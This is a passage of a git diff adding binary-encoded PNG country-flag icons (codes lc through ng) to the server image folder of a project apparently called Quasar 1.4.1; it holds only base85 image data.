zr}y9gR8D)C;wJ_Sx5=xYz5MWpi4mv-=yjk&KmiL7K#aZ&_9^w5@1DH=3l15e)xUl~ z-0=7B?|)4HL4sh3f5LL21siGr0*GY=!$H*K#ZR;BJ~dv8zS`wDeeIR3;>1y|KC3hK=RLTAp0Mf zWcc&@%EC-|_DIyI;S5 zZoa(f#*3@};Q;9GfBygi2&4h78pxV*WHQhn|Nk-k{`>pa-{0-~I{v`b{|EZ(4?qC1 zz%@X;G0|`0)6dV-R;K{9rJ5v|%9;KB_nVP{8R7~c2@pVx*BKb3t8)H6dH@UxP=NgY z{qNULVEFv`^^@@rIK+N~gX`}f7I~!;+fM-m5DPFa{(t+%C?E(7W+q^;{`t)a3di3} zzd^yz010JK%>4cT^&8LzfB<5=h#HaqkRlk)Wq^@D01#jR5K~0vg#SK#00000NkvXX Hu0mjf%Ubyh literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lc.png new file mode 100755 index 0000000000000000000000000000000000000000..a47d065541b0d998da832e1981b479097a9b36aa GIT binary patch literal 520 zcmV+j0{8uiP)#-NSZgwz{Qh@GSmETWyIzrrS!pkkqDDw`CEYY|A1Dxfxke?UP9EWUlaZ{K@! zXYTRdfWyFioqIm+xW_M=V(hYvbO?~5ZHkEt37xh?rY1@PqM%`P+i2w@_wXJJO#nzA zheNt~+w1B3H|fqGMx=x!lms6SMy;uqQ4R``NH&49%B_cditsDHI6DHXLNubec}E0~ zb8dy|txA`rTkZMN{rCM3FV`MqlfuwZrz$X1)+?ntF|UvTkD3M?FxSaem74ag}Vzy5sA+`s~GjvDl6>(E?=UGu{=w?r5#MJIwhn?GrT#s zeRSo}v&#TUmcjL&mxEF>2%EIxN+SI=O=izlM$T5JH;yv-C%^zTfK|9CLa`qJ0000< KMNUMnLSTZ|5$YcR literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/li.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/li.png new file mode 100755 index 0000000000000000000000000000000000000000..6469909c013eb9b752ca001694620a229f5792c7 GIT binary patch literal 537 zcmV+!0_OdRP)sI{|q~>>TZ2$qp!tjsj_dmuxH+6SkQv+K1^Dpafp!@&+{r#8W&u@@le*a|z zk$)I|{ss9HAb?mjKkZQc#wYOgBhb-*|NQ;?=l9<~e?U(E{r5MB3DgSYf*4|4g1Z=I z0R#}sfv@v<-|;cLeDMG8um8XQ{Qv#?|LOa4L zz5|hefaLFgf557NB#8Tm`R|`M3=9AP!~zPVKOloaN+E`UP5lQo8*B+s^WVQre?jpA z5I`*dz#16EB$cmd~05Jg0{{#R40Cvt10RRAw z`u+d`{`)-+^5ON`yb$y0|Ni^@{rvm=`~3g>{0I^G8ZGb(2;2e)q~Yi9|KETAVEFqN zi2na)xwe&yo%hS1uZ%yx{Q;WF%<}W+mp@!0-yWP|m)B$h2q2(_|NnsK|6hiGKudoE zUGn9{-`6*oEmQ72y~rUb^YQPmzn@?Idwh=T>wA{p3V#3shzY3p@87?_|NZ&@_cy~| zpmRZP`1kJ@JI^@8AFa{s9OeCZO+ts{j1?4b<=-Nd5zA z`2GL?FD{9%H@9*#{QvEce@o8hC9n7wpg7QIfB<3vS^!iHvfyK-U8V5ZH#le}4S|yXQB^Nt}W|`Q?5-JjKDn&hY;a$Df~n9-WqyG5z}b zHWMS`AAkU20!9tv|KD6JO#c`e|FbePFfi-*z4`Hxjg_16|9{rM|5*PsvHt$a@%k1I zzvO#v;hz8j#Q5o)BT__yf)$AVfxHBa6HpujodJ?%_y>%AV59*A7yy`5b5c`Z!JhyC N002ovPDHLkV1l?nIh6na literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lr.png new file mode 100755 index 0000000000000000000000000000000000000000..89a5bc7e70711575c1ee3b83cc2be7f0e1fb29c5 GIT binary patch literal 466 zcmV;@0WJQCP)2Y|A4{o z-@kwT`t|eY&mTX2eEM}Kp+i!_T03wQQEla((gZiC0cs^;{c3|jAkj>009Kl@aN){ zC);;k0UG-E&);Xo*&wq)roznr3pD=Ezu&)DC1p;}S_BY4jKAN$W)>8Nm;toyKW@Ot z#Ps&Y4S)b*xg;zq)7SR<*)x!NAa?^@4{|ZkY%l|8FPQu15397y$%U%{0*LYZ>zAxx z8}J(slm+_X#f@tK0mO1iR9wET{^!#tU}GSb{Q3uSG}s1+e?a74b~(9Y%Qpf95aZY9 zPuWDo(ENa58%O|%pI^NU5I`*FB&GkLM&}>Ys6}P~0YHEO0B+J}4VS0Fk^lez07*qo IM6N<$g3a05u>b%7 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ls.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ls.png new file mode 100755 index 0000000000000000000000000000000000000000..33fdef101f74e38e2422bb85dc8a31bbf1da326b GIT binary patch literal 628 zcmV-)0*n2LP)NT^udI6UX~&u_xA`izWBNXkIq%g^6Y%Pu{8|3yZC zlYxl^Ab?nacHcU-^!@XD|Nj5|`r(zVwkHE4BV6^xC+~{3+xxCp=yQ1PA~B|JUd6PoU1p;PCnS`uh0!`Wt}y4#)fi z@&Nb%0tn=Xmv@c{N@*}KFh0M&kIP1>YRmQG4?lbdn);9N*SEXB6{h}Te)Ie9Zy;d! z#Q+chF#yj01pfa18Ye&*C_n-K{_XVnU82h1@caA!0{i;;`V*Y{7}WX#^!xhz{Qms? z{`>&^00Ic4fsvW@|G$6Ruf6C#{P_EiKfi$f`+Dz}{FL7;Z+`vz4fMjFe?Sd?fe5Gp zAb>y`UVr&E@!c&!7K){sO`Ozkh)melY+9 z5KGUl3lpbYV0iHf6xF}JF{n*t;A3C_dhHtn&^!?O1t$N2Nj?UE00RIWZBXJNY9>Gc O0000 zKY#!H`S<7dzuzGA_xCRl`Rmu;Um!M^l;`6=xPSp5fLIuQF#P%V7sv;y25A5(1xW+7 z{Q_w~Xakza@Pz>&fLMUe`uqRSpZ|Y=>VQIE8-4+ehiC(l5cdDyKm=3_5I`(zTN!l! z|Nj0Es0O49Xx6_!5M^MM5b`fj@gGk4KbtNx00a<=83P0Vn?HYFf{Xx4|Nr&tKga?w z11|FC_y0eCSvdcCFfafF5XlYnMRN&=-B{`>{W0U03nA0WvHB!TYz`r< y{$OAL2q4DW;E4VQBmbdt8IZ(*2pDGo0R{jiB6maa(%qQ=0000! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lu.png new file mode 100755 index 0000000000000000000000000000000000000000..4cabba98ae70837922beadc41453b5f848f03854 GIT binary patch literal 481 zcmV<70UrK|P)?-#?r-wgj45C|ZESQtLMVW?~Zs{a4) zALIXj41fOq2a1uNeOQW%&E= z|DQh$fB%40fEE4z10q3;-;ClCKpOx8h=su~@}N>;ErcnO|V^hXG82+5i4Q+5aFU0|N&GK!5=N X;lz1sunOP500000NkvXXu0mjf*7env literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lv.png new file mode 100755 index 0000000000000000000000000000000000000000..49b69981085ff54568907cd51a56a1e5d8b01ada GIT binary patch literal 465 zcmV;?0WSWDP)TuF);jrk;v#5jAUY900)zv`N|Ns31p}&9s{rUUv@1OsF{`>=? z-@pHYNg(_0@82^wZ2|}&78a1v|Gz$Y3Q`J0Kshi8lm?N%fQ(=Ne*FS+xn*U6mIDM3 z3(!4({{8=rtQsf{G!?8Agn$gN2Dab7KQS->1Q6rPlP7uPKoY|E^ZWmwzrbJwx)~sVSb)*-|Mwp*NlCCVfB*i0>4ZfB zFhYR-gakS;`Tzomv6O+~6D%TsAw}vh)M$o8KMw-~K!5=Nd?C`~#DJkl4QvBtQTT<=hAW5C&pkLRXaMS_oX@ePCublh%7`S0>4^BHJ{X z&jSWU1bzAnAdrUt4F8|~c=q?-U!ZD;3Wy>I`UNEa{sJFg8g4-`_wR00IcC z0c`wlknw+DNZ2$-$7NDlT|NlUo0ap!i1F~k2r~my1Y5)izkcK~h z{{rRU9);Krw*=%9uq;py&^Z7B1lI8X4~o-~jQ<6)85pKOHYf~%iU9%$qyZ=)&LIKv z04P8aRsoF!DgoLL3cdee4gVMb0*H~J5hWs_B!uw~i3^Ex1_pot0|0+0kn{N-xWWJc N002ovPDHLkV1lkWn<4-J literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ma.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ma.png new file mode 100755 index 0000000000000000000000000000000000000000..f386770280b92a96a02b13032e056c3adfebfa18 GIT binary patch literal 432 zcmV;h0Z;ykP)@|4`Xj5kLT%`al?B=W5I`(ov;U*0{`Ko0*gOW1x?dnY zU=0kve*-lD1P}`lGXhluRs8wG@Eb_}{{H{>S-s!?{`@vR^^5K2FR(pO4M5WY0*DFZ zqCZG(`2G8?)UU4`zrJw%x*-cw4MBhY08Ix7Ah47E{sH^x7s!U+ztwL3`tbkv-#@=J zum1jzWCJ7ENdN%^b`n?!@|4`Xj5kLT%`al?B=W5I`(ov;U*021*0XgD3^5{teN< z@cTDV13&<=05Ky_HBiN$KMcQtBo?#b8i1w)1P}`YD=UMn?0*)P|9^oV_=9jUlG7n1 zgOt?2g9iZui1GF7*Fr)<|ABx33~>V{CZ_AxuLA@S%fEmBAbhajaRP`eP%%INfiyrk z1T_G`pFe*90tjjYTn_{=GBPrt03a7C3lKmc4KH52_yY$2zyM+rgbiXafFO_o^aD@| aAix0StzUbk+v2SN0000M*00(~<{@!wBU}0eR!0_)M!#^$%c|o1wA4mpD0t66HlA)zv9Z3HD2a;wKuKxf3 zKLhV?#{Ykr|9@us&njQ==l`GI|Ns8^_xsQFIm-b82&94GKf}}4zyJRI4@Cd}JZ511 zyk#BtzrVk|eZKww|NG~I-~WGu5Q~)bF9rsH0Ad2#1T-6>`p@704FCVWdiqyE_S>%? zzn?t&`v3p0|G$6zgQ7n`R{;bN6VP4%{xkdmsRoGvjXbc2Q*ib#i+$e?>}LD_@7KRy zzyJOE_4n5=pu>QE00u!g^X8F}1){Re7)$pq2>GzRP>hz5WF0{Q`{ z7%1`&WXbP;Kox)fFb41M1d2p!76A1_RfAN3oCFX+Kn)0M$tdvjY9_8yH^9QVjn@nfZP*{rmI(|3?O9b~d@cVAX$tK?&3V z5I~F!3@gDg2t{v?r~d;6^$&1NgV7;ZP#i-L5C8-i0C2iwRaxXp%>V!Z07*qoM6N<$ Eg62#MXaE2J literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/me.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/me.png new file mode 100755 index 0000000000000000000000000000000000000000..ac7253558ab939481a85cc06dcc4d73503afb9f0 GIT binary patch literal 448 zcmV;x0YCnUP)l$FJ^m&#tWvBA4C(n)b76qu^ z3TjKJi*u=MzAs;^(tHqT@6cZ|8AHxz+0T%zR}I9mkc`8faCz48MN^H2?$<3((yN)j;^`52o304M1f80R+|X9}Iwu*X+N)@cjDs2c+lU z?_dAGBv9wyKfl@e{~Tjr001}1@4rADVDj%Tpgtwu-=}^u z00a=o2DtG+^6#HtKYxRyQB?o^{pa7Gzs!FaUNHa!5W-0i5^f%h1nT_t=O0kRUm#-m z!vGLKP#fTS#5u+P{rv~@0nkXGhChFS;q~V)5d8o97pUPE13&;VK7Rc89~k`k^9M+( vx2Q8b0Y@nl1JFDW`UNKcfk_?)fB*vkB(P&2-J7g<00000NkvXXu0mjfGX%sy literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mh.png new file mode 100755 index 0000000000000000000000000000000000000000..fb523a8c39d40401b9abcfb144a73cbb2d76b286 GIT binary patch literal 628 zcmV-)0*n2LP)qpJCu1p{#SASZ=3QjbPhlO05Jg0{{#T~{M_a8tGL(@4F<^6===Qr`uzX+`vVjI z>RSuFND|!tCprH%UjG&-`Tqfgkh}r_F#yj01OWa1_W1j+!`}P+|NQ*@_xS<*{r*D) z#ao8o+xY#_%t@QS?0~yfBW+Wj{_zyJQv%*f2f%)|)v=^uaq0&4j6{l|Ybrbh`TZ`2ITPyN!~wBya;Q+wXO z|N8qsP{n^H7N*~zApZOB??0dhfB*t%@KJoPW~Y4ZyXB%oU++J<@%!g5F#%3te)iws z==lAQ0jwGr+CT&T00a=DyL0x5XB;1||6pKv0FF^K^bd&vjBEyg00RK!=O6aq+V@KU O0000p}y_ZxVsQQo9l8qD!tQ%&&F2zEbEdU-v3mY$p-gb*;wwp?LFG<9EeNpZLj7Q z>zeacpNZ>XJG@0bcmXcALo;Ad(L@#C92p0~G#aM!FfF0T7^YIJVVFaIl|0gRpSyF_ z@0dgJ{oT}qqUk#4;-a-U9Fej5EJ`tIE9)E!qDfL@GEq>vEDI}q@P8EmenIHxu!*Cc zLK?@%1j7u0A`mPlm`kyT;5daWs;EH!+LV0IWO0Zyj4+sHxRqia#e9ki#cu?^6YQn9 zOfZ8&4uw%r9nR_}FG?tJ1sBpnAsdGMh7pA$Mlm3ABvgz9aj&GrxaT8{1^YB+UzPEM zQQ5*0;(QnblJRNh>E*%16wccXl466KPu9Lk=M%$}%9~Z3xs9na6KbZ+^U;AoQ+JVg=BO3kgY$Vuu?iP6r(sQV=EH;Iwf|hcN2Nd zPl_EfW;$kS3zh=H4ojC&X!7Bd!`~OdX{VxLp z5dC3f{KL%rhe`hT|Cm4jfB*jf2Sk3^vlaWpqpU2@27mx!VE|eEAE^2d5dHlPWd8sE>;L~hU=6?i|N8~f1J=Os z`!`SnKmdWv|I6_A575egAcQa*n+Bj_fB<3vdK75(@4vtQ{Do`yh0yRHtQw*LD9^wE z5I`Uef5B$|`u7W{2T22%M6!Vq>?D8y0%`dD|M#!IAl1MB{`!Yz!@u8fUYwuxex*z#9GlH2{4I3~mO10Ac~g+V6jVB)KI)-uUyEi4o|t-;5vX%A}^sE-TCS?;peW@7xO)zGwLT z>;Lb2Aa%cf{|B;v0lB{!Wo3aj00dxJ4sHN|VGstA{YR$4C2D_2_!cBcz(8l;%*ju; z_5-pDt^fjRVEX=(;rPk#zkV}({q}dw+K<0~Gco-B2UY|%8?FIpIzRw{{P+Lo&pY>j zzJB!i)2Bb*-v4F%#qjU=2Y>(qX<+*Ohe1*jY|LMVKOmiqU?UkIBoO`m3qe4|00G4K6*VFmu*EK13J3rK Z3;;9iRuWt9^;rM_002ovPDHLkV1h$@)rkNA literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mn.png new file mode 100755 index 0000000000000000000000000000000000000000..9396355db45a8ee040c790782209868acaad4b85 GIT binary patch literal 492 zcmV@{}>pU8D26lh`@M2^zAEy;6E4#hyVhJ1te8n&0xjw|I|OmAOC9q@qGTx`1kMs zKYtki{9$JJ&B6L7=Kt^CKt7QCvS|}Q0D(0y{Qoccl;O=^hIfA-|M~k7Bn3tPfBpOS z`}Y4|zknP@Sy`YB00G1VQttboLEtY##9yH3?>`J++5f+PL6rRiQNLgu1_potVgX{t z{eKx$|NOuHhk@zOpC3@OA=>```VZI207MK7009KDfg$woe}>=xgMa@Q`TZMV99$1f z=+7UZ=>P!)^22||KmS$!{Ac;a@cR$YT8L7JY6c`57{N{g2q3VN{s9Bw7X!l|paf9r z=TC&I7$7zP9Rm!dKY#u(FaQJ)NCWfVKmVWoW?%y` zm}dTA_#*kA1?Z>0QqoLZAnySq0pv->KTM2<4My5DUW>hHBSpkmCRUfavf4zkmMxWn=;={POe9 zpZ~vq|NHajABg<@_xGlmn*aic1*nOE;s2AbPk~B-;NSn>+$?|p{{I~>&N%tu*Drs5 zfBO0B*Z*HY)v`RYKsx~fhzW>+Cjb5S_s>6&>Le+qufKnBv&bF%YWVBlABO)w3uGC7 z{rLq%Ks`WL0R#{e(EPs)fB*akI^_5N|9=)g|N8#t9~WuY61}otf4Tqs`!(tD7m$X( zzkdG%X#fZyCZKPCW&?Et`7z=QS^~DI8Yx-=nhgK{7whGvYgWDg!B8&G1k~{7FHk81 zKmY(S0M7pd06qXVA~x>%?)v`v$?y7WENVL!I|c#<=Jn<;5-<%03=swpg4MkH|N9RH z59P$=0*D2u3CIB%01Ag+CC5rQSvY_G`T70NcNRvLcR${}{{9+hIZ*cRKadRo0R++j zv0Gk5I)>DQ+oULEUYSww-@{VeP#&z`*?j4i%tcfB<3v#u_k;CAlSmszIWE zes6rZ@!!9HKqG(r{Q)GE1e8GG4GeUkhF=T-0mR5q%E0gm7LmVTk@^EErhg$tKMw;y afB^u%K|axUkwLit0000IqP)p`2X)eQ1zd`|Kz0p8A$%R z`bTZnZKVTj3KfeK`2Ky*5B&e@&)?sFfZ#7s13&;VG5q=W=RZg_5SU54z5Mv&imk%` z|FW?#NF2HHZpKX|PKHOnfBpIO`|qDW|9~0*0*DFdzkh#$Hv9ux`j_+Xe->2}ZC)XM zHV0!dKPS0Ur}$Y}|Nr_6wBa96o`K;HKmdVl_zUt7(16dMgtTSeTz>rQ?Z?ko?mjsC zklD%d+V79-zd^=BZ2$-$7GT%`Z2%eY=kMmT9MVkp=Y%mFes6g9+4CZ|=Y~?>`*tz_ z9Sja7kOqJN0yzojravHW{k?SeQ|&okK5=fKkARLe6n%c?uEf?;0ubZ>f;9XA2p|@Q zU%!CHiwJW41sn7GB}e}J|9v$?qW1mmH(Bw2pdk4RbO%twKY##YWMEE2jz}>2 jgG53Y5Cqh~01#jRFwa04;J&RL00000NkvXXu0mjf4K^ZQ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mq.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mq.png new file mode 100755 index 0000000000000000000000000000000000000000..010143b3867f21e7791b8254e806b325c13b2895 GIT binary patch literal 655 zcmV;A0&x9_P)$g8u&g1qF5h0Q6aJN-{1Mbz`Ie0O|k$ z{sM@ZfzzR@(T$Ir&B098+eukMUeMl2+1^x^fq~&CAE%jZ{^O4ipMU-bgNM&P{`mQajg9%ivrm#DT>t+4XJGgP z5I`&pzyAFG^Do#{Ra%^vg_(hwneqG2-w+MozW@IH=Wj)-86P+6=Wo9l8G*Kb0|+3- z*{jc+=}JF+`H7W<>HmKQUT#*P1{)(8poaY?9|3*x^4(W97N$Rc|4EDS&R=&5Ab=SE z{{73y$Ox4F`Rgyx2o@H`|EK_{=f}^#%*+g|tSlctd;ka_mU(L~nd(ak@UpY9GCq0n z(2rN05Jg0{{a96b$W_S@ACL(Rxa}M z`G=gy|Nj54lTiQv|3YG^`}+MH7z}h_G^4TA+~V=RqI&{}iQ&&bpkF?J{dw&CQ*JI+ z5dlsHn4|vw{rBhJzZb8+p1k+fF;B_XE! z42<9q0s8Xa-+!garV_&3Uw`~!Vgv;%KmY+HvKbgYfiyF)F);jMVE6!x-Ip&{0DU4U p=>-f&1_my$6wo1$fFwYG0RX)13*@;vt7rfK002ovPDHLkV1lt{Hh%yB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mr.png new file mode 100755 index 0000000000000000000000000000000000000000..319546b100864f32c26f29b54b87fe1aee73af21 GIT binary patch literal 569 zcmV-90>=G`P)rBb0vs`uywH-=91j zzd+y*NDt6q00G1Vbl+cwzkmM!`SbO+m+YTk|9<^u`R%^_m*bXSzgT|#{QE0P`4>nh zQ2ZZA13&;V0loO=-(MgHX#3gMzn3`u{`KzHucyC$Kl}CT<*&8wzt6n|ss8o%*Pp+C zfTjZk5DUl#p#T2<`NjV0^vyqym4EMy|26&E??3;3WoiC?{O#A4)4zWSfZPMI0U&@t z8bCe+8UPFj-d`E(e|zZv%GLeN@c(z$rC;+8f>rHtN0D&|BIS>OtI{AOC zx$tZGDUcCBkzc|7XAeyp!)#=hy@sHz%Z8Nmi!G71?uGb{rk^vkcEsO8W!D1Ad0T=%Vj%gtVfB*vk>3V2g53(}_00000NkvXX Hu0mjfpCtxQ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ms.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ms.png new file mode 100755 index 0000000000000000000000000000000000000000..d4cbb433d8f9fe49f06585dc46ee15593e3e621c GIT binary patch literal 614 zcmV-s0-61ZP)w!6%f1G{My^>{rmp(`~Up={s8&+{Qm#<{R63-jRF8M0M7pe zp74|h+7SfEy9M#{{`U3;5)b(M0y+2j#`QMv`vWF8IQ;$o{QUp?{QmLR&;S7V0*Gk~ zkHv3!H5OU9Kb*Y(q-ELEH9vC;U*%N({+r?VuV26a{F4-VqagC^H&EN}zd$De1Q633 zj~FHafsLPJA96}RV-#A)X~v?X^MOAye@1K9u&05Jg0{{zeC zH7h(V@9+2F_Xpti2mAc}=j!&)<^S{h0sZ;_Q7ob~2($C-{v8Cq(%>lF*}4LV2^e-j zV}AbzqQAd@=ogUu2Vs2v^{02G<;{1(|2aQ(EV23Z2N=G800M{wXv^O}|A7VrH9+)$ z7=NG)mcRcxm)QV402KN07wDuv009Kl@CPU%A;t|Pff9c}I{*Fo2PXf3L>PYm|M&kd z6T{yxzy1Ri0|XEw14AS%MzNxQNDQDd27mwq0OfZ^Ej7^!+W-In07*qoM6N<$g6Gg9 AMF0Q* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mt.png new file mode 100755 index 0000000000000000000000000000000000000000..00af94871de66cd0fbf0ca8e46dc436d66e2f713 GIT binary patch literal 420 zcmV;V0bBlwP)Io>l+&W2PtRx|M&0z2M_*#`0)SN z@BhDl{r~j~sG3n$7H9)N0I@K!uxMy#e*W?mp&AJO{R1fisrv=e1J=Os`!`SnKmf7) z1AD;K%nYO&458rnZ>;h=xCZfJy-Z2&4h30>ylo1|%C8 z!A=4QAQtS#|N9SD2R9xVP=6R000Ic%Boqz*|DhQF2dLpM!{5I^H2?v`f~*=Iag5B& z3^Fndyu3hzLFn&a2m+c75I`Us-n@D94+enNf~Z%o__l08i(?1?2rvLmwOi|Xk;8TX O0000wT1SlAdCl&Y)$gVg>5qW^#Y{{Qp$|KC6V{`~n5M8AIn z$$wxH$UeVm6F>m5>|$VWV&MJy|4IE<4N06-W9 zfN4+=|Nq*iiwn$Q2C&jbT&$=TD3oCSlHOGFpRx(;BY;>KBo9alsWSh04>T2o{{H<9 zq`@}){__Va_~#GM1}QP2gACgN0*LYNU!Z^U|NnpRpWzq7|3Cl#|Nj5~7gmyqN$LIj zQvdWzhA$B4g=Z%5I`U&fgJtk z_g|1x{{H;?U6oxK=&at?J**6@V8K5Oe}Dh~1#%?NbbtT?*#Hy-y7l+}Kff9N{$pgg z_WK6Ie}+7v0!uEdpa1{-Wc>4s0pu$NunhnK1op#kuysJ&8U8Z;`FH#0jm^LQ>Tv2E z__*)izhD3U{sq|pR0FmFAb=oF`osMFS8?ijP~d>v`s?4X6Tl#928Ghke_*>=zWoA* zI8ZS_0I~c5+3<%^Qj!Z4rNibE_6+kRtZU3J46>yw zfWS`r^B2emYGC;Nhw;yEHn21ZK^Q<1%m5k+3<-b$0%`dF7h*inus>j>Kov-;VIf zD*pWek$*v<0SxiK|NjEzfQkVEh>@X`f#DO--wX`DVCWAL;}4AS4@`0~00bBSj-y@M TF2~k{00000NkvXXu0mjf^ET$> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mx.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mx.png new file mode 100755 index 0000000000000000000000000000000000000000..5bc58ab3e3552b74d990d28a0f500e9eb6209dfe GIT binary patch literal 574 zcmV-E0>S->P)LFc1LT4cKmY-iGBrkbGB7ay`}g

Nzrc?B z!}RAj&|v@p#KiFL&)@$*g@6D2{reke@BjagZ=QH_|HA5tt#{7v1Ul>guV4Ru|Ni&u z_rKqNfHnXG5DUYvUm)ZE{sF26>H%tC6A=5t#K$G4Eg-G_A87rbKVS#^0WyF#00a;d z1Ca3#WHt~1jRI=eclPL04k1AU{avRH{sTG*Y{UOQAO!R;KmY+XFaVtnvEdic(+vNe zOr8IIc?-17*~$Z`|L?Eg|G`fB4^+g!01!YxCouq>54Pd=FQ6a({TC7tjr5F#2GXxz z|3N{=01TJ^fBykB00a<7!|#88#Ce2)8ovGh$;ikEv=>5x7)(s8a literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/my.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/my.png new file mode 100755 index 0000000000000000000000000000000000000000..9034cbab2c02704b65fba6ecc4a7a1c1d053b6c5 GIT binary patch literal 571 zcmV-B0>u4^P)Z-xKO+5@Bcl`=5c~|G$6#Vc^TNX8-{JF#yj01a@w+002>mTdm0Dxpa1{C#)An)W@eTA0)PNwiNI_f1h_u_DTrb&+z}xv;{Wj zFGj0Cgf$G002ov JPDHLkV1gu%1+M@A literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/mz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/mz.png new file mode 100755 index 0000000000000000000000000000000000000000..76405e063d43f2f3b5b9cae4f76d9f1c73cea25b GIT binary patch literal 584 zcmV-O0=NB%P)d!0?ZO;SY>NM!#Sr3j;s^4&s;y01$=&U~zyG1R{bN8&$-J2AZUB z{O~2s*67}BSLujJh!l{(TM_&V!SLx<0I@JIFetqFAHVYHe9OP56#xDPD){#oDEIpx z82$bI>))?me}4fPvfQ#j8vp_bq~ZU+|9p&pvv&RstuJJil>ZL~|9}umff)b({bONa zxh{1bAb?oDF)-ZV`m5;k=ljw>l6BpeezVN}{rlPPKR~N~|N8X{NCKH4>bI<%?516t z00M{!=o3jd#=5m)yzyNB8Nca#eH--U&Fe3(f#?+keR}os(@P+F`}Hl*IRF8~0t}ng zTmN>%etWlrgX7)b6MtD}{$cp_8-#v?7>pqD50GU3{f7;x0U&@Fe=;yIS7rUbaG!zu z&%cJ+j{>}Z{{3SByBg&1|Nj_3~Dr2e;Gh>zZrofD5`!lF#Z7{ z2B7#~hM#}`y~Cfd!0!j9&~4{}>qlfDw=_GI6Spo7yiaSL1(R34j0qF#yj00RRApetkm@ z3-<^I`04Bn_xS?+{Qmv@{`~y?GBy}bOB@O2-v*J4|MK+z`}_2=vH}QbDjOT??*y+^ z9PHma=D0k1DE9l$Z%$6;=mbqObq>D1hX4By|NHgp|L;GHwRPtz;{gH)sDXiz;U6Qz zZ)V2dKoY20MNK$ASA+NcQ;z)f|Igq2|MmO7w9@DL!aL%O?v>U60R+_W>(dw3rWqbw zY+vs`7YYhj_p}$}TRP+a`c40T|N0L!J1pWwjPJac>kgmX!|;RwAb@}x{`~&)@5xJE z5fO>bZXLnj?>WlS|KEEGbn$;~p|4%Vx0QJ+&gI^Ic|%b^5f~5v0R*z)@87>RPSSB9 z(mdPNGA>^D|K~4|Gn`ysXGCuKcCvq8=a*k!egj?m?>8{m00Ic8fvd1cUx@iTXM5HE z^H)FyGjo2eEq-FG+;YA1)Puvn7=8hj{`vO@7;-=x00M~R?)3!82NxK-n*V?K1yZeJ z{HiGaByR2;1J+usHUNMy48Q{FH!M8N)Pwp9Y)wTFo81A^+}-HTA|tp~ zO4-IyLWKVGUAVv#KrFzpU^vb8&*4vW%&*_Sfp-5+Oa#jR{(FIy5oqwQKVTa`BqPut z3=9AP#KLU;d%N^MnR|>Uj{MoN{TEQv&!4|iQhqnS=35v13ux)DKYxDz{qyJVA7#|2T literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ne.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ne.png new file mode 100755 index 0000000000000000000000000000000000000000..d85f424f38da0678471ef4b3dc697675118bc7e0 GIT binary patch literal 537 zcmV+!0_OdRP)pTI(!tjlO;rIXl@1HV&)cpmDGW-GR z`3+L^2aNvy`v2$G|KGnEMPz|W00M~d>&=s#l8OvKbwEpiHvESG2>tK>|GyyO9|$ut zvpzk42q1u17-V!9I61+pfvQ08|BZwH@16Yr=jVTUlmA*S|6zcEk@1g`6+i&7`~&$E zYA%%V^7j8zTmS$3{hyirzos*?2B2bq00L=%yMh7Y5+V8jy0-s+|NJkm_8$o_f}Hjb zAb?n|yt|^zto-ZmuYW+t0)q+&<<KJ>BgrQT zRQ>1Q-#;J~AoS`6pHRCwBA zU~p!DquG0BzkdJv^XJbWKYo1u_VxSs@1MSW+P$@#L70Jomw|zm0SEvBhy{qNbE|>m zzkmO1v}^=;1(+C_zx@3C{m*wPUMbGM98Q`}5v}3B|NZ&>_xGmUO#lG|(!jv*|H=EO zfB*gc{`33)|Nj{n|Mza|{r>BFYe?(AfB!%K_3?Y%L>Z^l>!7{V2qIffI$#e zz5f4~?wt{_jNwA=k=tvV8m;04hxH1ClNsp|jaD0d_yUND;Sa;#|9^ps{`~n3bQJ?5 z!?D}Pp1*tk?A@~oJ0>vvX8@W7)C|%C)&LMdARGSt{R`y$`S<5P0|@TEy!-p_?>~S2 z1lj|1A`hhCuT1`^U1^@yK06yzfAV)~#?EnA(07*qoM6N<$f^cITh5!Hn literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ng.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ng.png new file mode 100755 index 